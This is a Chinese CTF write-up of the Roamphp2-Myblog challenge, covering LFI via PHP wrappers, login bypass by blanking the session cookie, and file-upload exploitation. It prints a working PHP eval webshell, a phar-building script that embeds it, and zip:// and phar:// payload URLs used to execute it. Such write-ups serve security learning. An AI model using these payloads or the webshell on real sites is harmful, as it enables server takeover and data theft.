[极客大挑战 2020]Roamphp2-Myblog - 伪协议+文件上传+(LFIZIP)||(LFIPhar)【***】

news/2024/5/19 22:48:11 标签: web安全, 安全, ctf, 文件上传, LFI, Phar, 伪协议

[极客大挑战 2020]Roamphp2-Myblog

  • 1 解题流程
    • 1.1 分析
    • 1.2 解题
    • 1.3 中场休息——再分析
      • 1.3.1 浅层分析
      • 1.3.2 难点疑惑
      • 1.3.3 深度分析
    • 1.4 重整旗鼓——再战
  • 2 总结展望

1

1 解题流程

1.1 分析

1、点击login,进入登录界面,用户名在首页提示了是longlone,密码未知,无法登录。
2、点击其他地方,发现没有什么线索,唯一有的只有page这个参数。
3、题目描述:Do you know the PHP pseudo-protocol? —— 意思就是跟伪协议有关系

1.2 解题

  1. 首先,我们通过page,看看是否能读取到源码
    ?page=php://filter/read=convert.base64-encode/resource=login
    得到以下关键代码
    <form method="post" action="/?page=admin/user" class="form-validate" id="loginFrom">……</form>
    <?php
    require_once("secret.php");
    mt_srand($secret_seed);
    $_SESSION['password'] = mt_rand();
    ?>
    
    通过代码,我们了解到几个关键信息
    1、登录请求通过post传输到admin/user,我们是否也可以查看该页面源码?
    2、存在secret.php,里面是否有猫腻?
    3、登录密码是随机数,想登录还是放弃吧!
  2. 采用同样的方式读取admin/user源码
    ?page=php://filter/read=convert.base64-encode/resource=admin/user
    获得源码以后,快刀斩乱麻,得到关键代码
    <?php
    session_start();
    $logined = false;
    if (isset($_POST['username']) and isset($_POST['password'])){
    	if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){
    	……
    }
    ?>
    
    <body class="">
          <div class="sidebar-wrapper">
            <ul class="nav">
              <li >
                <a href="index.php?page=admin/dashboard">
                </a>
              </li>
              <li class="active ">
                <a href="index.php?page=admin/user">
                </a>
              </li>
              <li>
                <a href="index.php?page=admin/tables">
                </a>
              </li>
              <li class="active-pro">
                <a href="index.php?page=admin/logout">
                </a>
              </li>
            </ul>
        </div>
    	  <?php
    		if(isset($_FILES['Files']) and $_SESSION['status'] === true){
    			$tmp_file = $_FILES['Files']['name'];
    			$tmp_path = $_FILES['Files']['tmp_name'];
    			if(($extension = pathinfo($tmp_file)['extension']) != ""){
    				$allows = array('gif','jpeg','jpg','png');
    				if(in_array($extension,$allows,true) and in_array($_FILES['Files']['type'],array_map(function($ext){return 'image/'.$ext;},$allows),true)){
    						$upload_name = sha1(md5(uniqid(microtime(true), true))).'.'.$extension;
    						move_uploaded_file($tmp_path,"assets/img/upload/".$upload_name);
    						echo "<script>alert('Update image -> assets/img/upload/${upload_name}') </script>";
    				} else {
    					echo "<script>alert('Update illegal! Only allows like \'gif\', \'jpeg\', \'jpg\', \'png\' ') </script>";
    				}
    			}
    		}
    	  ?>
    </body>
    
    通过代码,我们了解到几个关键信息
    1、第一段的login校验是唬人的,没必要看
    2、html代码中,存在四个page:dashboard、user、tables、logout
    3、存在文件上传代码,且只允许图片格式,对文件名取md5保存在assets/img/upload/目录下

1.3 中场休息——再分析

1.3.1 浅层分析

我们分析到文件上传的部分,算是突破性进展。但是要文件上传首先得到admin页面,但是目前没法登录。
伪造Longlone用户名的cookie登录?不行
思来想去,还是找不到思路……
等等!!!
刚刚读取admin/user源码的时候,我认为第一段的login是唬人的,但其实并不是!
login在校验的过程当中,密码是和什么作比较?和SESSION[‘password’]
而SESSION[‘password’]哪里来?从login的源码我们可以知道,他是通过mt_rand()随机生成的
这说明我们的登录过程当中,一定会存在session值,而且只要把session改成空,就可以成功登录了!

1.3.2 难点疑惑

通过上面的分析,我们知道,session置空就可以登录,但是问题就在于,凭什么置空就能登录?
思考:我把session置1不行吗?置a不行吗?难道不是只要sessoin和password改成一样就好了?
结果:经过尝试,还真不行,依然提示密码错误,那么这就说明,我们传的sessoin实际并不是比较的SESSION[‘password’]
到了这里不研究明白真的没心思做其他事了!!!

1.3.3 深度分析

真相浮出水面,这里贴一张我的思路图
1
这个图,已经把90%的疑惑都解答了,但是还剩10%,那这10%是什么?
思考:我们session传了1,那么文件名是sess_1可以理解。但是我们置空的时候也没有把整个cookie删除,而是PHPSESSID=,按理来讲文件名不应该是sess_吗?如果确实存在sess_这个文件,不还是能找到该文件并且用里面的随机值去校验密码吗?
解答:根据session文件生成特性,如果我们传空或不传,那么就不会生成!

1.4 重整旗鼓——再战

  1. burpsuite抓包,同时修改session,post传递用户名和密码 | 或者直接把密码输入框的require属性删除即可输入空值
    1

1.4.1 解法一:zip伪协议

由于限制图片格式,所以写一句话木马的php文件压缩为zip,同时将zip改为jpg并上传
返回:Update image -> assets/img/upload/d21ff00896ed0acc6e1732d90c69f852e4f55f48.jpg
使用zip伪协议进行解压并执行:格式 - zip:// + 文件路径 + # + 压缩包内部文件名(不带后缀)
  ?page=zip://./assets/img/upload/d21ff00896ed0acc6e1732d90c69f852e4f55f48.jpg#yjh.php ×
  ?page=zip://./assets/img/upload/d21ff00896ed0acc6e1732d90c69f852e4f55f48.jpg%23yjh
  注意get传参要编码,蚁剑连接即可找到flag
  1

1.4.2 解法二:phar伪协议

要知道phar不仅仅可以做反序列化题目,他本质上还是生成一个文件,只有有关文件上传,就可能用到它
所以我们编写phar脚本,生成文件,并将该文件改为jpg后缀上传,再用phar伪协议读取该文件

<?php
	$phar = new Phar("myblog.phar"); //.phar文件
	$phar->startBuffering();
	$phar->setStub('<?php __HALT_COMPILER(); ?>'); //固定的
	$phar->addFromString("yjh.php", "<?php @eval(\$_POST['pwd']) ?>"); //添加要压缩的文件
	$phar->stopBuffering();
?>

上传后提示:Update image -> assets/img/upload/aabe33107f7da4b7893e0f3be71e3ec861d1e0a4.jpg
使用phar伪协议进行解压并执行:格式 - phar:// + 文件路径 + / + 压缩包内部文件名(不带后缀)
  ?page=phar://./assets/img/upload/aabe33107f7da4b7893e0f3be71e3ec861d1e0a4.jpg/yjh
  2

2 总结展望

感谢自己!感谢老师!


http://www.niftyadmin.cn/n/5077069.html

相关文章

轻松玩转直播带货,铭顺科技揭秘数字人跳舞直播软件亮点

直播带货在商业领域越来越受追捧&#xff0c;而数字人直播作为一种创新推广方式&#xff0c;正逐渐引起关注。在这个竞争激烈的直播行业中&#xff0c;数字人私有化部署解决方案以其独特的优势和亮点&#xff0c;为用户提供了一个轻松玩转直播带货的利器。 数字人私有化部署解决…

Java设计模式之装饰器模式

装饰器模式&#xff08;Decorator Pattern&#xff09;是一种结构型设计模式&#xff0c;它允许你在不改变对象结构的情况下&#xff0c;动态地将新功能附加到对象上。装饰器模式通过创建一个包装对象来实现这一目的&#xff0c;该包装对象包含了原始对象&#xff0c;并在其上添…

【Redis】Redis性能优化:理解与使用Redis Pipeline

原创不易&#xff0c;注重版权。转载请注明原作者和原文链接 文章目录 Pipeline介绍原生批命令(MSET, MGET) VS PipelinePipeline的优缺点一些疑问Pipeline代码实现 当我们谈论Redis数据处理和存储的优化方法时&#xff0c;「 Redis Pipeline」无疑是一个不能忽视的重要技术。…

华为OD机试 - 运维日志排序(Java 2023 B卷 100分)

目录 专栏导读一、题目描述二、输入描述三、输出描述四、解题思路五、Java算法源码六、效果展示1、输入2、输出3、说明 华为OD机试 2023B卷题库疯狂收录中&#xff0c;刷题点这里 专栏导读 本专栏收录于《华为OD机试&#xff08;JAVA&#xff09;真题&#xff08;A卷B卷&#…

c++视觉处理---开运算,闭运算

c视觉处理—开运算&#xff0c;闭运算 开运算和闭运算的处理不同 开运算和闭运算是形态学图像处理中的两种不同操作&#xff0c;它们的主要区别在于操作的顺序和效果&#xff1a; 开运算&#xff08;Opening&#xff09;&#xff1a; 先腐蚀后膨胀。用于消除小物体、分离接触…

学编程,为什么优先推荐学Python?

编程&#xff0c;也就是用计算机语言来控制计算机的过程&#xff0c;是当今社会中一项非常重要和有用的技能。无论你是想从事科学研究、工程设计、商业管理、教育传播、艺术创作&#xff0c;还是其他任何领域&#xff0c;学习编程都可以给你带来很多好处。 本文将从以下几个方…

混淆技术研究笔记(三)多模块混淆

示例项目&#xff1a; https://github.com/abel533/yguard-modules-parent 假设有如下多模块项目&#xff1a; module-parent ├─module-a ├─module-b └─module-c在 混淆技术研究笔记&#xff08;一&#xff09;常见工具介绍 中提到&#xff0c;默认只能使用单模块混淆&a…

轻量限制流量?阿里云轻量应用服务器月流量包收费说明

阿里云轻量应用服务器部分套餐限制月流量&#xff0c;轻量应用服务器按照套餐售卖&#xff0c;有的套餐限制月流量&#xff0c;有的不限制流量。像阿里云轻量2核2G3M带宽轻量服务器一年108元和轻量2核4G4M带宽一年297.98元12个月&#xff0c;这两款是不限制月流量的。阿里云百科…